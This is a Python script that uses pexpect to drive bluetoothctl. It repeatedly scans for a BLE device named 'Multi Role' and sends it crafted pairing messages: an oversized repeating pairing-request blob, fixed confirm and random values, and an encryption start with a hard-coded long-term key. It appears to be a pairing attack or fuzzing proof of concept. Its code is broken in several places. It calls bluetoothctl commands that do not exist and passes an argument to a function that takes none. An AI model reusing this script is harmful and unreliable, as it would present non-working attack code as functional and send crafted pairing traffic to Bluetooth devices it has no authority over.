#!/usr/bin/env python3 # Written by Kevin Mitchell # Released as open source under GPLv3 import pexpect import time import re class BluetoothCtl: def __init__(self): self.child = pexpect.spawn("bluetoothctl", encoding='utf-8') self.child.expect("#") def send_command(self, command, timeout=5): self.child.sendline(command) self.child.expect("#", timeout=timeout) return self.child.before def power_on(self): self.send_command("power on") print("BLE dongle powered on") def power_off(self): self.send_command("power off") print("BLE dongle powered off") def scan(self, timeout:int=2): self.send_command("scan on") time.sleep(timeout) scan_output = self.child.before self.send_command("scan off") print("Scan turned off") print("Scan output:\n", scan_output) if self.check_and_handle_error(scan_output): print("Retrying scan after handling error...") self.send_command("scan on") time.sleep(10) # Adjust the sleep time if needed scan_output = self.child.before self.send_command("scan off") print("Retry scan output:\n", scan_output) return scan_output def check_and_handle_error(self, scan_output): if "Failed to stop discovery: org.bluez.Error.InProgress" in scan_output: print("Error encountered: Failed to stop discovery. Power cycling the BLE dongle.") self.power_off() time.sleep(2) self.power_on() return True return False def find_device(self, device_name): scan_output = self.scan() pattern = re.compile(r"((?:[0-9A-Fa-f]{{2}}:){{5}}[0-9A-Fa-f]{{2}})\s+{}".format(re.escape(device_name)), re.IGNORECASE) match = pattern.search(scan_output) if match: return match.group(1) # Return the MAC address return None def send_pairing_request(self, mac_address): print(f"Sending Pairing Request to {mac_address}") pairing_request_data = ( "000084008000060001000004100000010000041000000100000410000001000004100000010000041000000100000410" "000001000004100000010000041000000100000410000001000004100000010000041000000100000410000001000004" "100000010000041000000100000410000001000004100000010000041000000100000410000001000004100000010000" "0410000001" ) self.send_command(f"pair {mac_address} {pairing_request_data}", timeout=5) def send_pairing_confirm(self, mac_address): print(f"Sending Pairing Confirm to {mac_address}") pairing_confirm_data = ( "0000150011000600031d9adfe958dd809adcbd7c227274" ) self.send_command(f"pairing confirm {mac_address} {pairing_confirm_data}", timeout=5) def send_pairing_random(self, mac_address): print(f"Sending Pairing Random to {mac_address}") pairing_random_data = ( "000015001100060004c0c0c0c0c0c0c0c0c0c0c0c0c0c0" ) self.send_command(f"pairing random {mac_address} {pairing_random_data}", timeout=5) def send_le_start_encryption(self, mac_address): print(f"Sending LE Start Encryption to {mac_address}") long_term_key = "bfb74c1f07f748a671e841deef3a05c2" self.send_command(f"le start-encryption {mac_address} {long_term_key}", timeout=5) def main(): bt = BluetoothCtl() bt.power_on() time.sleep(1) target_device_name = "Multi Role" def send_sequence(): bt.send_pairing_request(mac_address) time.sleep(2) bt.send_pairing_confirm(mac_address) time.sleep(2) bt.send_pairing_random(mac_address) time.sleep(2) bt.send_le_start_encryption(mac_address) time.sleep(2) print("Sequence of pairing messages and LE Start Encryption sent successfully.") try: found_device = True while True: mac_address = bt.find_device(target_device_name) print("Searching for device: Multi Role") if mac_address: if not found_device: print(f"Device '{target_device_name}' found with MAC address {mac_address}.") found_device = True send_sequence(mac_address) print(f"Connected to {mac_address}.") time.sleep(2) else: if found_device: print(f"Device '{target_device_name}' no longer found.") found_device = False print(f"Device '{target_device_name}' not found. Retrying...") time.sleep(2) bt.power_on() time.sleep(2) except KeyboardInterrupt: print("Exiting...") finally: bt.power_off() if __name__ == "__main__": main()